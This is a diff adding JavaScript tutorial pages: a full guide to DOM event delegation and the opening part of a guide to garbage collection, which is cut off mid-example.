delegation** is a pattern where you attach a single event listener to a parent element to handle events on its child elements. When an event occurs on a child, it bubbles up to the parent, where the listener catches it and determines which specific child triggered the event. This approach reduces memory usage, simplifies code, and automatically handles dynamically added elements. + +Think of event delegation like a receptionist at an office building. Instead of giving every employee their own personal doorbell, visitors ring one doorbell at the reception desk. The receptionist then determines who the visitor wants to see and routes them appropriately. One point of contact handles all visitors efficiently. + +``` +┌─────────────────────────────────────────────────────────────────────────────┐ +│ EVENT DELEGATION FLOW │ +├─────────────────────────────────────────────────────────────────────────────┤ +│ │ +│ User clicks a <button> inside a <div>: │ +│ │ +│ ┌──────────────────────────────────────────────────────────────────────┐ │ +│ │ <div class="container"> ← Event listener attached HERE │ │ +│ │ │ │ │ +│ │ ├── <button>Save</button> ← Click happens HERE │ │ +│ │ │ ↑ │ │ +│ │ ├── <button>Delete</button> │ Event bubbles UP │ │ +│ │ │ │ │ │ +│ │ └── <button>Edit</button> │ │ │ +│ │ │ │ │ +│ └──────────────────────────────────┴───────────────────────────────────┘ │ +│ │ +│ 1. User clicks "Save" button │ +│ 2. Event bubbles up to container │ +│ 3. Container's listener catches the event │ +│ 4. event.target identifies which button was clicked │ +│ 5. Handler takes appropriate action │ +│ │ +└─────────────────────────────────────────────────────────────────────────────┘ +``` + +--- + +## The Key Players: target, currentTarget, matches, and closest + +Before diving into delegation patterns, you need to understand four essential tools: + +### event.target vs event.currentTarget + +These two properties are often confused but serve different purposes: + +```javascript +// HTML: <ul id="menu"><li><button>Click</button></li></ul> + +document.getElementById('menu').addEventListener('click', (event) => { + console.log('target:', event.target.tagName) // BUTTON (what was clicked) + console.log('currentTarget:', event.currentTarget.tagName) // UL (where listener is) +}) +``` + +| Property | Returns | Use Case | +|----------|---------|----------| +| `event.target` | The element that **triggered** the event | Finding what was actually clicked | +| `event.currentTarget` | The element that **has the listener** | Referencing the delegating parent | + +```javascript +// Visual example: Click on the inner span +// <div id="outer"> +// <p> +// <span>Click me</span> +// </p> +// </div> + +document.getElementById('outer').addEventListener('click', (event) => { + // If user clicks the <span>: + console.log(event.target) // <span>Click me</span> + console.log(event.currentTarget) // <div id="outer"> + + // target changes based on what's clicked + // currentTarget is always the element with the listener +}) +``` + +### Element.matches() — Checking Element Identity + +The [`matches()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/matches) method tests whether an element matches a CSS selector. It's essential for filtering which elements should trigger your handler: + +```javascript +document.querySelector('.container').addEventListener('click', (event) => { + // Check if clicked element is a button + if (event.target.matches('button')) { + console.log('Button clicked!') + } + + // Check for specific class + if (event.target.matches('.delete-btn')) { + console.log('Delete button clicked!') + } + + // Check for data attribute + if (event.target.matches('[data-action]')) { + const action = event.target.dataset.action + console.log('Action:', action) + } + + // Complex selectors work too + if (event.target.matches('button.primary:not(:disabled)')) { + console.log('Enabled primary button clicked!') + } +}) +``` + +### Element.closest() — Finding Ancestor Elements + +The [`closest()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/closest) method traverses up the DOM tree to find the nearest ancestor (or the element itself) that matches a selector. This is crucial when the actual click target is a nested element: + +```javascript +// Problem: User might click the icon inside the button +// <button class="action-btn"> +// <svg class="icon">...</svg> +// <span>Delete</span> +// </button> + +document.querySelector('.container').addEventListener('click', (event) => { + // event.target might be the <svg> or <span>, not the <button>! + + // Solution: Use closest() to find the button ancestor + const button = event.target.closest('.action-btn') + + if (button) { + console.log('Action button clicked!') + // button is the <button> element, regardless of what was clicked inside + } +}) +``` + +``` +┌─────────────────────────────────────────────────────────────────────────────┐ +│ closest() TRAVERSAL EXAMPLE │ +├─────────────────────────────────────────────────────────────────────────────┤ +│ │ +│ Click on <svg> inside button: │ +│ │ +│ event.target = <svg> │ +│ │ │ +│ ▼ │ +│ event.target.closest('.action-btn') │ +│ │ │ +│ ┌────────────┴────────────┐ │ +│ │ Check: Does <svg> │ │ +│ │ match '.action-btn'? │ NO │ +│ └────────────┬────────────┘ │ +│ │ Move UP to parent │ +│ ▼ │ +│ ┌────────────────────────────┐ │ +│ │ Check: Does <button> │ │ +│ │ match '.action-btn'? │ YES ──► Returns <button> │ +│ └────────────────────────────┘ │ +│ │ +└─────────────────────────────────────────────────────────────────────────────┘ +``` + +--- + +## Basic Event Delegation Pattern + +Here's the fundamental pattern for event delegation: + +```javascript +// Step 1: Attach listener to parent container +document.querySelector('.parent-container').addEventListener('click', (event) => { + + // Step 2: Identify the target element + const target = event.target + + // Step 3: Check if target matches what we're looking for + if (target.matches('.child-element')) { + // Step 4: Handle the event + handleChildClick(target) + } +}) +``` + +### Example: Clickable List Items + +```javascript +// HTML: +// <ul id="todo-list"> +// <li data-id="1">Buy groceries</li> +// <li data-id="2">Walk the dog</li> +// <li data-id="3">Finish report</li> +// </ul> + +const todoList = document.getElementById('todo-list') + +todoList.addEventListener('click', (event) => { + // Check if an <li> was clicked + const item = event.target.closest('li') + + if (item) { + const id = item.dataset.id + console.log(`Clicked todo item with id: ${id}`) + item.classList.toggle('completed') + } +}) + +// This handles all existing items AND any items added later! +``` + +--- + +## Handling Dynamic Elements + +One of the biggest advantages of event delegation is handling elements that are added to the DOM after the page loads: + +```javascript +// Without delegation: New items don't work! +function addTodoWithoutDelegation(text) { + const li = document.createElement('li') + li.textContent = text + + // You'd have to manually add a listener to each new element + li.addEventListener('click', handleClick) // Tedious and error-prone! + + document.getElementById('todo-list').appendChild(li) +} + +// With delegation: New items automatically work! +function addTodoWithDelegation(text) { + const li = document.createElement('li') + li.textContent = text + + // No need to add individual listeners + // The parent's delegated listener handles it automatically + + document.getElementById('todo-list').appendChild(li) +} + +// The delegated listener on the parent handles all items +document.getElementById('todo-list').addEventListener('click', (event) => { + if (event.target.matches('li')) { + event.target.classList.toggle('completed') + } +}) +``` + +### Real-World Example: Dynamic Table + +```javascript +// Imagine a table that gets rows from an API +const tableBody = document.querySelector('#users-table tbody') + +// One listener handles all row actions +tableBody.addEventListener('click', (event) => { + const button = event.target.closest('button') + if (!button) return + + const row = button.closest('tr') + const userId = row.dataset.userId + + if (button.matches('.edit-btn')) { + editUser(userId) + } else if (button.matches('.delete-btn')) { + deleteUser(userId) + row.remove() + } else if (button.matches('.view-btn')) { + viewUser(userId) + } +}) + +// Later, when new data arrives: +async function loadUsers() { + const users = await fetch('/api/users').then(r => r.json()) + + users.forEach(user => { + const row = document.createElement('tr') + row.dataset.userId = user.id + row.innerHTML = ` + <td>${user.name}</td> + <td>${user.email}</td> + <td> + <button class="view-btn">View</button> + <button class="edit-btn">Edit</button> + <button class="delete-btn">Delete</button> + </td> + ` + tableBody.appendChild(row) + }) + // All buttons automatically work without adding individual listeners! +} +``` + +--- + +## Common Delegation Patterns + +### Pattern 1: Action Buttons with data-action + +Use `data-action` attributes to specify what each element should do: + +```javascript +// HTML: +// <div id="toolbar"> +// <button data-action="save">Save</button> +// <button data-action="load">Load</button> +// <button data-action="delete">Delete</button> +// </div> + +const actions = { + save() { + console.log('Saving...') + }, + load() { + console.log('Loading...') + }, + delete() { + console.log('Deleting...') + } +} + +document.getElementById('toolbar').addEventListener('click', (event) => { + const action = event.target.dataset.action + + if (action && actions[action]) { + actions[action]() + } +}) +``` + +### Pattern 2: Tab Interface + +```javascript +// HTML: +// <div class="tabs"> +// <button class="tab" data-tab="home">Home</button> +// <button class="tab" data-tab="profile">Profile</button> +// <button class="tab" data-tab="settings">Settings</button> +// </div> +// <div class="tab-content" id="home">Home content</div> +// <div class="tab-content" id="profile">Profile content</div> +// <div class="tab-content" id="settings">Settings content</div> + +document.querySelector('.tabs').addEventListener('click', (event) => { + const tab = event.target.closest('.tab') + if (!tab) return + + // Remove active class from all tabs + document.querySelectorAll('.tab').forEach(t => t.classList.remove('active')) + tab.classList.add('active') + + // Hide all content, show selected + const tabId = tab.dataset.tab + document.querySelectorAll('.tab-content').forEach(content => { + content.hidden = content.id !== tabId + }) +}) +``` + +### Pattern 3: Expandable/Collapsible Sections + +```javascript +// HTML: +// <div class="accordion"> +// <div class="accordion-item"> +// <button class="accordion-header">Section 1</button> +// <div class="accordion-content">Content 1...</div> +// </div> +// <div class="accordion-item"> +// <button class="accordion-header">Section 2</button> +// <div class="accordion-content">Content 2...</div> +// </div> +// </div> + +document.querySelector('.accordion').addEventListener('click', (event) => { + const header = event.target.closest('.accordion-header') + if (!header) return + + const item = header.closest('.accordion-item') + const content = item.querySelector('.accordion-content') + const isExpanded = item.classList.contains('expanded') + + // Toggle this section + item.classList.toggle('expanded') + content.hidden = isExpanded + + // Optional: Close other sections (for exclusive accordion) + // document.querySelectorAll('.accordion-item').forEach(otherItem => { + // if (otherItem !== item) { + // otherItem.classList.remove('expanded') + // otherItem.querySelector('.accordion-content').hidden = true + // } + // }) +}) +``` + +### Pattern 4: Form Validation + +```javascript +// Delegate input validation to the form +document.querySelector('#signup-form').addEventListener('input', (event) => { + const input = event.target + + if (input.matches('[data-validate]')) { + validateInput(input) + } +}) + +function validateInput(input) { + const type = input.dataset.validate + let isValid = true + let message = '' + + switch (type) { + case 'email': + isValid = /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(input.value) + message = isValid ? '' : 'Please enter a valid email' + break + case 'required': + isValid = input.value.trim().length > 0 + message = isValid ? '' : 'This field is required' + break + case 'minlength': + const min = parseInt(input.dataset.minlength, 10) + isValid = input.value.length >= min + message = isValid ? '' : `Minimum ${min} characters required` + break + } + + input.classList.toggle('invalid', !isValid) + input.nextElementSibling.textContent = message +} +``` + +--- + +## Performance Benefits + +Event delegation significantly reduces memory usage when dealing with many elements: + +```javascript +// Without delegation: 1000 listeners +const items = document.querySelectorAll('.item') // 1000 items +items.forEach(item => { + item.addEventListener('click', handleClick) // 1000 listeners created! +}) + +// With delegation: 1 listener +document.querySelector('.container').addEventListener('click', (event) => { + if (event.target.matches('.item')) { + handleClick(event) + } +}) +// Only 1 listener, handles all 1000+ items! +``` + +| Approach | Listeners | Memory Impact | Dynamic Elements | +|----------|-----------|---------------|------------------| +| Individual listeners on 1,000 items | 1,000 | High | Must add manually | +| Event delegation | 1 | Low | Automatic | + +--- + +## Limitations and Edge Cases + +### Events That Don't Bubble + +Some events don't bubble and can't be delegated in the traditional way: + +```javascript +// These events DON'T bubble: +// - focus / blur +// - mouseenter / mouseleave +// - load / unload / scroll (on elements) + +// Solution 1: Use capturing phase +document.addEventListener('focus', (event) => { + if (event.target.matches('input')) { + console.log('Input focused') + } +}, true) // true = capture phase + +// Solution 2: Use bubbling alternatives +// Instead of focus/blur, use focusin/focusout (they bubble!) +document.querySelector('.form').addEventListener('focusin', (event) => { + if (event.target.matches('input')) { + event.target.classList.add('focused') + } +}) + +document.querySelector('.form').addEventListener('focusout', (event) => { + if (event.target.matches('input')) { + event.target.classList.remove('focused') + } +}) +``` + +### stopPropagation Interference + +If child elements stop propagation, delegation won't work: + +```javascript +// This child listener prevents delegation +childElement.addEventListener('click', (event) => { + event.stopPropagation() // Parent never receives the event! + // Do something... +}) + +// Avoid using stopPropagation unless absolutely necessary +// Consider using event.stopImmediatePropagation() only for specific cases +``` + +### Verifying the Element is Within Your Container + +With nested tables or complex structures, ensure the target is actually within your container: + +```javascript +// Problem with nested structures +document.querySelector('#outer-table').addEventListener('click', (event) => { + const td = event.target.closest('td') + + // td might be from a nested table, not our table! + if (td && event.currentTarget.contains(td)) { + // Now we're sure td belongs to our table + handleCellClick(td) + } +}) +``` + +--- + +## When NOT to Use Event Delegation + +Event delegation isn't always the best choice: + +```javascript +// ❌ DON'T delegate when: + +// 1. You have only one element +const singleButton = document.querySelector('#submit-btn') +singleButton.addEventListener('click', handleSubmit) // Direct is fine + +// 2. You need to prevent default behavior immediately +// (delegation adds slight delay due to bubbling) + +// 3. The event doesn't bubble (without capture workaround) + +// 4. Performance-critical scenarios where event.target checks add overhead +// (extremely rare in practice) + +// ✅ DO use delegation when: +// - Handling many similar elements +// - Elements are added/removed dynamically +// - You want cleaner, more maintainable code +// - Memory efficiency is important +``` + +--- + +## Common Mistakes + +### Mistake 1: Forgetting closest() for Nested Elements + +```javascript +// ❌ WRONG: Only works if you click exactly on the button, not its children +container.addEventListener('click', (event) => { + if (event.target.matches('.btn')) { + // Fails if user clicks on <span> inside button! + } +}) + +// ✅ CORRECT: Works regardless of where inside the button you click +container.addEventListener('click', (event) => { + const btn = event.target.closest('.btn') + if (btn) { + // Works for button and all its children + } +}) +``` + +### Mistake 2: Not Checking Container Boundaries + +```javascript +// ❌ WRONG: Might catch elements from nested structures +table.addEventListener('click', (event) => { + const row = event.target.closest('tr') + if (row) { + // Could be a row from a nested table! + } +}) + +// ✅ CORRECT: Verify the element is within our container +table.addEventListener('click', (event) => { + const row = event.target.closest('tr') + if (row && table.contains(row)) { + // Definitely our row + } +}) +``` + +### Mistake 3: Over-delegating + +```javascript +// ❌ WRONG: Delegating at document level for everything +document.addEventListener('click', (event) => { + // This catches EVERY click on the page! + if (event.target.matches('.my-button')) { + // ... + } +}) + +// ✅ CORRECT: Delegate at the appropriate container level +document.querySelector('.my-component').addEventListener('click', (event) => { + if (event.target.matches('.my-button')) { + // Scoped to just this component + } +}) +``` + +--- + +## Key Takeaways + +<Info> +**The key things to remember:** + +1. **Event delegation uses bubbling** — Attach one listener to a parent instead of many listeners to children. Events bubble up from the clicked element to the parent. + +2. **event.target vs event.currentTarget** — `target` is what was clicked; `currentTarget` is where the listener is attached. Use `target` to identify which child triggered the event. + +3. **matches() filters elements** — Use `event.target.matches(selector)` to check if the clicked element matches your criteria. + +4. **closest() handles nested elements** — When buttons contain icons or spans, use `event.target.closest(selector)` to find the actual clickable element. + +5. **Dynamic elements work automatically** — Elements added after page load are handled without adding new listeners. + +6. **Memory efficient** — One listener instead of hundreds or thousands reduces memory usage significantly. + +7. **Not all events bubble** — `focus`, `blur`, `mouseenter`, and `mouseleave` don't bubble. Use `focusin`/`focusout` or capture phase instead. + +8. **Scope appropriately** — Delegate at the nearest common ancestor, not always at `document` level. + +9. **Verify container boundaries** — With nested structures, use `container.contains(element)` to ensure the target is within your container. + +10. **Keep handlers organized** — Use `data-action` attributes and action objects to keep delegation logic clean and maintainable. +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="Question 1: What is the main benefit of event delegation?"> + **Answer:** + + Event delegation provides several key benefits: + + 1. **Memory efficiency** — One listener handles many elements instead of attaching individual listeners to each + 2. **Dynamic element handling** — Elements added after page load automatically work without adding new listeners + 3. **Cleaner code** — Centralized event handling logic instead of scattered listeners + 4. **Easier maintenance** — Changes only need to be made in one place + + ```javascript + // One listener handles all current and future list items + list.addEventListener('click', (event) => { + if (event.target.matches('li')) { + handleItemClick(event.target) + } + }) + ``` + </Accordion> + + <Accordion title="Question 2: When should you use closest() instead of matches()?"> + **Answer:** + + Use `closest()` when the actual click target might be a nested element inside the element you care about: + + ```javascript + // Button structure: <button class="btn"><svg>...</svg><span>Click</span></button> + + // ❌ matches() fails if user clicks the <svg> or <span> + if (event.target.matches('.btn')) { } // false when clicking icon! + + // ✅ closest() finds the button even when clicking nested elements + const btn = event.target.closest('.btn') // finds parent button + if (btn) { } // works! + ``` + + Use `closest()` when: + - Elements contain icons, images, or nested markup + - You need to find a specific ancestor element + - You want to handle clicks anywhere within a complex element + </Accordion> + + <Accordion title="Question 3: Why do focus and blur events require special handling?"> + **Answer:** + + The `focus` and `blur` events **don't bubble** by default, so they can't be caught by a parent using standard delegation: + + ```javascript + // ❌ This won't work - focus doesn't bubble + form.addEventListener('focus', handler) + + // ✅ Solution 1: Use capture phase + form.addEventListener('focus', handler, true) + + // ✅ Solution 2: Use focusin/focusout (they bubble!) + form.addEventListener('focusin', handler) // bubbling equivalent of focus + form.addEventListener('focusout', handler) // bubbling equivalent of blur + ``` + + Other non-bubbling events include: `mouseenter`, `mouseleave`, `load`, `unload`, and `scroll` (on elements). + </Accordion> + + <Accordion title="Question 4: How do you handle multiple action types with delegation?"> + **Answer:** + + Use `data-action` attributes to specify actions, and map them to handler functions: + + ```javascript + // HTML + // <button data-action="save">Save</button> + // <button data-action="delete">Delete</button> + + // JavaScript + const actions = { + save() { console.log('Saving...') }, + delete() { console.log('Deleting...') } + } + + container.addEventListener('click', (event) => { + const action = event.target.dataset.action + if (action && actions[action]) { + actions[action]() + } + }) + ``` + + This pattern is clean, extensible, and keeps your delegation logic organized. + </Accordion> + + <Accordion title="Question 5: What's the difference between event.target and event.currentTarget?"> + **Answer:** + + | Property | Returns | When to use | + |----------|---------|-------------| + | `event.target` | Element that **triggered** the event | Identifying which child was clicked | + | `event.currentTarget` | Element that **has the listener** | Referencing the delegating parent | + + ```javascript + // <ul id="list"><li><button>Click</button></li></ul> + + document.getElementById('list').addEventListener('click', (event) => { + console.log(event.target) // <button> (what was clicked) + console.log(event.currentTarget) // <ul> (where listener is attached) + }) + ``` + + `target` changes based on what's clicked; `currentTarget` is always the element with the listener. + </Accordion> + + <Accordion title="Question 6: How do you verify an element is within your container with nested structures?"> + **Answer:** + + Use `container.contains(element)` to verify the target element is actually within your container: + + ```javascript + // Problem: With nested tables, closest('tr') might find a row + // from an inner table, not your table + + table.addEventListener('click', (event) => { + const row = event.target.closest('tr') + + // ❌ Wrong: row might be from nested table + if (row) { handleRow(row) } + + // ✅ Correct: verify row is within our table + if (row && table.contains(row)) { handleRow(row) } + }) + ``` + + This is especially important with complex layouts, nested components, or when working with third-party widgets that might be inserted into your container. + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="Event Bubbling & Capturing" icon="arrow-up" href="/beyond/concepts/event-bubbling-capturing"> + Understand the event propagation mechanism that makes delegation possible + </Card> + <Card title="Custom Events" icon="bolt" href="/beyond/concepts/custom-events"> + Learn to create and dispatch your own events that work with delegation + </Card> + <Card title="DOM Manipulation" icon="code" href="/concepts/dom"> + Master the Document Object Model and element selection methods + </Card> + <Card title="Callbacks" icon="phone" href="/concepts/callbacks"> + Understand callback functions used as event handlers + </Card> +</CardGroup> + +--- + +## Reference + +<CardGroup cols={2}> + <Card title="Event.target — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Event/target"> + Official documentation for the target property that identifies the event origin + </Card> + <Card title="Event.currentTarget — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Event/currentTarget"> + Documentation for currentTarget, which identifies where the listener is attached + </Card> + <Card title="Element.closest() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Element/closest"> + Reference for the closest() method used to find ancestor elements + </Card> + <Card title="Element.matches() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Element/matches"> + Documentation for testing if an element matches a CSS selector + </Card> +</CardGroup> + +## Articles + +<CardGroup cols={2}> + <Card title="Event Delegation — JavaScript.info" icon="newspaper" href="https://javascript.info/event-delegation"> + Comprehensive tutorial with interactive examples covering delegation patterns, the behavior pattern, and practical exercises + </Card> + <Card title="Event Bubbling — MDN Learn" icon="newspaper" href="https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Scripting/Event_bubbling"> + MDN's guide to event bubbling with clear explanations of target vs currentTarget and delegation examples + </Card> + <Card title="How JavaScript Event Delegation Works — David Walsh" icon="newspaper" href="https://davidwalsh.name/event-delegate"> + Classic article explaining event delegation fundamentals with practical code examples + </Card> + <Card title="DOM Events Guide — MDN" icon="newspaper" href="https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Events"> + Comprehensive MDN guide to working with events in the DOM, including propagation and delegation + </Card> +</CardGroup> + +## Videos + +<CardGroup cols={2}> + <Card title="Event Delegation — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=XF1_MlZ5l6M"> + Clear explanation of event delegation with visual examples showing how bubbling enables this pattern + </Card> + <Card title="JavaScript Event Delegation — Traversy Media" icon="video" href="https://www.youtube.com/watch?v=3KJI1WZGDrg"> + Practical walkthrough building a dynamic list with delegated event handling + </Card> + <Card title="Event Bubbling and Delegation — The Net Ninja" icon="video" href="https://www.youtube.com/watch?v=aVeQ4shbNls"> + Part of a comprehensive JavaScript DOM series covering bubbling and delegation together + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/garbage-collection.mdx b/docs/beyond/concepts/garbage-collection.mdx new file mode 100644 index 00000000..f8e7e53e --- /dev/null +++ b/docs/beyond/concepts/garbage-collection.mdx @@ -0,0 +1,838 @@ +--- +title: "Garbage Collection in JavaScript: How Memory is Freed Automatically" +sidebarTitle: "Garbage Collection" +description: "Learn how JavaScript garbage collection works. Understand mark-and-sweep, reachability, and how to write memory-efficient code that helps the engine." +--- + +What happens to objects after you stop using them? When you create a variable, assign it an object, and then reassign it to something else, where does that original object go? Does it just sit there forever, taking up space? + +```javascript +let user = { name: 'Alice', age: 30 } +user = null // What happens to { name: 'Alice', age: 30 }? +``` + +The answer is **garbage collection**. JavaScript automatically finds objects you're no longer using and frees the memory they occupy. You don't have to manually allocate or deallocate memory like in C or C++. The JavaScript engine handles it for you, running a background process that cleans up unused objects. + +<Info> +**What you'll learn in this guide:** +- What garbage collection is and why JavaScript needs it +- How the engine determines which objects are "garbage" +- The mark-and-sweep algorithm used by all modern engines +- Why reference counting failed and circular references aren't a problem +- How generational garbage collection makes GC faster +- Practical tips for writing GC-friendly code +- Common memory leak patterns and how to avoid them +</Info> + +<Warning> +**Prerequisite:** This guide assumes you understand basic JavaScript objects and references. For a deep dive into how V8 implements garbage collection (generational GC, the Scavenger, Mark-Compact), see the [JavaScript Engines](/concepts/javascript-engines) guide. +</Warning> + +--- + +## What is Garbage Collection? + +**Garbage collection (GC)** is an automatic memory management process that identifies and reclaims memory occupied by objects that are no longer reachable by the program. The garbage collector periodically scans the heap, marks objects that are still in use, and frees memory from objects that can no longer be accessed. + +Think of garbage collection like a city sanitation service. You put trash on the curb (stop referencing objects), and the garbage truck comes by periodically to collect it. You don't have to drive to the dump yourself. The city handles it automatically. But there's a catch: you can't control exactly when the truck arrives, and if you accidentally leave something valuable on the curb (lose your only reference to an object you still need), it might get collected. + +--- + +## How Does JavaScript Know What's Garbage? + +The key concept is **reachability**. An object is considered "alive" if it can be reached from a **root**. Roots are starting points that the engine knows are always accessible: + +- **Global variables** — Variables in the global scope +- **The current call stack** — Local variables and parameters of currently executing functions +- **Closures** — Variables captured by functions that are still reachable + +Any object reachable from a root, either directly or through a chain of references, is kept alive. Everything else is garbage. + +```javascript +// 'user' is a root (global variable) +let user = { name: 'Alice' } + +// The object { name: 'Alice' } is reachable through 'user' +// So it stays in memory + +user = null + +// Now nothing references { name: 'Alice' } +// It's unreachable and becomes garbage +``` + +### Tracing Reference Chains + +The garbage collector follows references like a detective following clues: + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ REACHABILITY FROM ROOTS │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ ROOTS REACHABLE OBJECTS │ +│ │ +│ ┌────────────┐ ┌──────────────┐ ┌──────────────┐ │ +│ │ global │ │ user │ │ address │ │ +│ │ variables │ ────────► │ { name, │ ──► │ { street, │ │ +│ └────────────┘ │ address } │ │ city } │ │ +│ └──────────────┘ └──────────────┘ │ +│ ┌────────────┐ │ +│ │ call │ ┌──────────────┐ │ +│ │ stack │ ────────► │ local vars │ ✓ All reachable = ALIVE │ +│ └────────────┘ └──────────────┘ │ +│ │ +│ │ +│ UNREACHABLE (GARBAGE) │ +│ │ +│ ┌──────────────┐ ┌──────────────┐ │ +│ │ { orphaned } │ │ { no refs } │ ✗ No path from roots │ +│ └──────────────┘ └──────────────┘ = GARBAGE │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +Let's see this in action with a more complex example: + +```javascript +function createFamily() { + let father = { name: 'John' } + let mother = { name: 'Jane' } + + // Create references between objects + father.spouse = mother + mother.spouse = father + + return { father, mother } +} + +let family = createFamily() + +// Both father and mother are reachable through 'family' +// family → father → mother (via spouse) +// family → mother → father (via spouse) + +family = null + +// Now there's no path from any root to father or mother +// Even though they reference each other, they're both garbage +``` + +This last point is crucial: **objects that only reference each other but aren't reachable from a root are still garbage**. The garbage collector doesn't care about internal references. It only cares about reachability from roots. + +--- + +## The Mark-and-Sweep Algorithm + +All modern JavaScript engines use a **mark-and-sweep** algorithm (with various optimizations). Here's how it works: + +<Steps> + <Step title="Start from roots"> + The garbage collector identifies all root objects: global variables, the call stack, and closures. + </Step> + + <Step title="Mark reachable objects"> + Starting from each root, the collector follows every reference and "marks" each object it finds as alive. It recursively follows references from marked objects, marking everything reachable. + + ``` + Root → Object A (mark) → Object B (mark) → Object C (mark) + → Object D (mark) + ``` + </Step> + + <Step title="Sweep unmarked objects"> + After marking is complete, the collector goes through all objects in memory. Any object that isn't marked is unreachable and gets its memory reclaimed. + </Step> +</Steps> + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ MARK-AND-SWEEP IN ACTION │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ BEFORE GC MARKING PHASE │ +│ │ +│ root ──► [A] ──► [B] root ──► [A]✓ ──► [B]✓ │ +│ │ │ │ +│ ▼ ▼ │ +│ [C] [D] [C]✓ [D] │ +│ │ │ │ +│ ▼ ▼ │ +│ [E] [E] │ +│ │ +│ │ +│ SWEEP PHASE AFTER GC │ +│ │ +│ root ──► [A]✓ ──► [B]✓ root ──► [A] ──► [B] │ +│ │ │ │ +│ ▼ ▼ │ +│ [C]✓ [D] ← removed [C] (free memory) │ +│ │ │ +│ ▼ │ +│ [E] ← removed │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +### Why Mark-and-Sweep Handles Circular References + +Notice in our family example that `father` and `mother` reference each other. With mark-and-sweep, this isn't a problem: + +```javascript +let family = { father: { name: 'John' }, mother: { name: 'Jane' } } +family.father.spouse = family.mother +family.mother.spouse = family.father + +// Circular reference: father ↔ mother + +family = null +// Mark phase: start from roots, can't reach father or mother +// Neither gets marked, both get swept +// Circular reference doesn't matter! +``` + +The mark-and-sweep algorithm only cares about reachability from roots. Internal circular references don't keep objects alive. + +--- + +## Reference Counting: A Failed Approach + +Before mark-and-sweep became standard, some engines used **reference counting**. Each object kept track of how many references pointed to it. When the count reached zero, the object was immediately freed. + +```javascript +// Reference counting (conceptual, not real JS) +let obj = { data: 'hello' } // refcount: 1 +let ref = obj // refcount: 2 +ref = null // refcount: 1 +obj = null // refcount: 0 → freed immediately +``` + +This seems simpler, but it has a fatal flaw: **circular references cause memory leaks**. + +```javascript +function createCycle() { + let objA = {} + let objB = {} + + objA.ref = objB // objB refcount: 1 + objB.ref = objA // objA refcount: 1 + + // When function returns: + // - objA loses its stack reference: refcount goes to 1 (not 0!) + // - objB loses its stack reference: refcount goes to 1 (not 0!) + // Both objects keep each other alive forever! +} + +createCycle() +// With reference counting: MEMORY LEAK +// With mark-and-sweep: Both collected (unreachable from roots) +``` + +Old versions of Internet Explorer (IE6/7) used reference counting for DOM objects, which caused notorious memory leaks when JavaScript objects and DOM elements referenced each other. All modern engines use mark-and-sweep or variations of it. + +--- + +## Generational Garbage Collection + +Modern engines like V8 don't just use basic mark-and-sweep. They use **generational garbage collection** based on an important observation: **most objects die young**. + +Think about it: temporary variables, intermediate calculation results, short-lived callbacks. They're created, used briefly, and become garbage quickly. Only some objects (app state, cached data) live for a long time. + +V8 exploits this by dividing memory into generations: + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ GENERATIONAL HEAP LAYOUT │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ YOUNG GENERATION OLD GENERATION │ +│ (Most objects die here) (Long-lived objects) │ +│ │ +│ ┌───────────────────────┐ ┌───────────────────────┐ │ +│ │ New objects land │ │ Objects that │ │ +│ │ here first │ ─────► │ survived multiple │ │ +│ │ │ survives │ GC cycles │ │ +│ │ Collected frequently │ │ │ │ +│ │ (Minor GC) │ │ Collected less often │ │ +│ │ │ │ (Major GC) │ │ +│ └───────────────────────┘ └───────────────────────┘ │ +│ │ +│ • Fast allocation • Contains app state │ +│ • Quick collection • Caches, long-lived data │ +│ • Most garbage found here • More thorough collection │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +**Minor GC (Scavenger):** Runs frequently on the young generation. Since most objects die young, this is very fast. Objects that survive get promoted to the old generation. + +**Major GC (Mark-Compact):** Runs less frequently on the entire heap. More thorough but slower. Includes compaction to reduce fragmentation. + +This generational approach means: +- Short-lived objects are collected quickly with minimal overhead +- Long-lived objects aren't constantly re-examined +- Overall GC pauses are shorter and less frequent + +<Note> +For a deep dive into V8's Scavenger, Mark-Compact, and concurrent/parallel GC techniques, see the [JavaScript Engines](/concepts/javascript-engines#how-does-garbage-collection-work) guide. +</Note> + +--- + +## When Does Garbage Collection Run? + +You might wonder: when exactly does the garbage collector run? The short answer is: **you don't know, and you can't control it**. + +Garbage collection is triggered automatically when: +- The heap reaches a certain size threshold +- The engine detects idle time (browser animation frames, Node.js event loop idle) +- Memory pressure increases + +```javascript +// You CANNOT force garbage collection in JavaScript +// This doesn't exist in the language: +// gc() // Not a thing +// System.gc() // Not a thing + +// The engine decides when to run GC +// You just write code and let it handle memory +``` + +Modern engines use sophisticated heuristics: +- **Incremental GC:** Breaks work into small chunks to avoid long pauses +- **Concurrent GC:** Runs some GC work in background threads while JavaScript executes +- **Idle-time GC:** Schedules GC during browser idle periods + +<Warning> +**Don't try to outsmart the garbage collector.** Setting variables to `null` everywhere "to help GC" usually doesn't help and makes code harder to read. The engine is very good at its job. Focus on writing clear, correct code. +</Warning> + +--- + +## Writing GC-Friendly Code + +While you can't control GC, you can write code that works well with it: + +### 1. Let Variables Go Out of Scope Naturally + +The simplest way to make objects eligible for GC is to let their references go out of scope: + +```javascript +function processData() { + const largeArray = new Array(1000000).fill('data') + + // Process the array... + const result = largeArray.reduce((sum, item) => sum + item.length, 0) + + return result + // largeArray 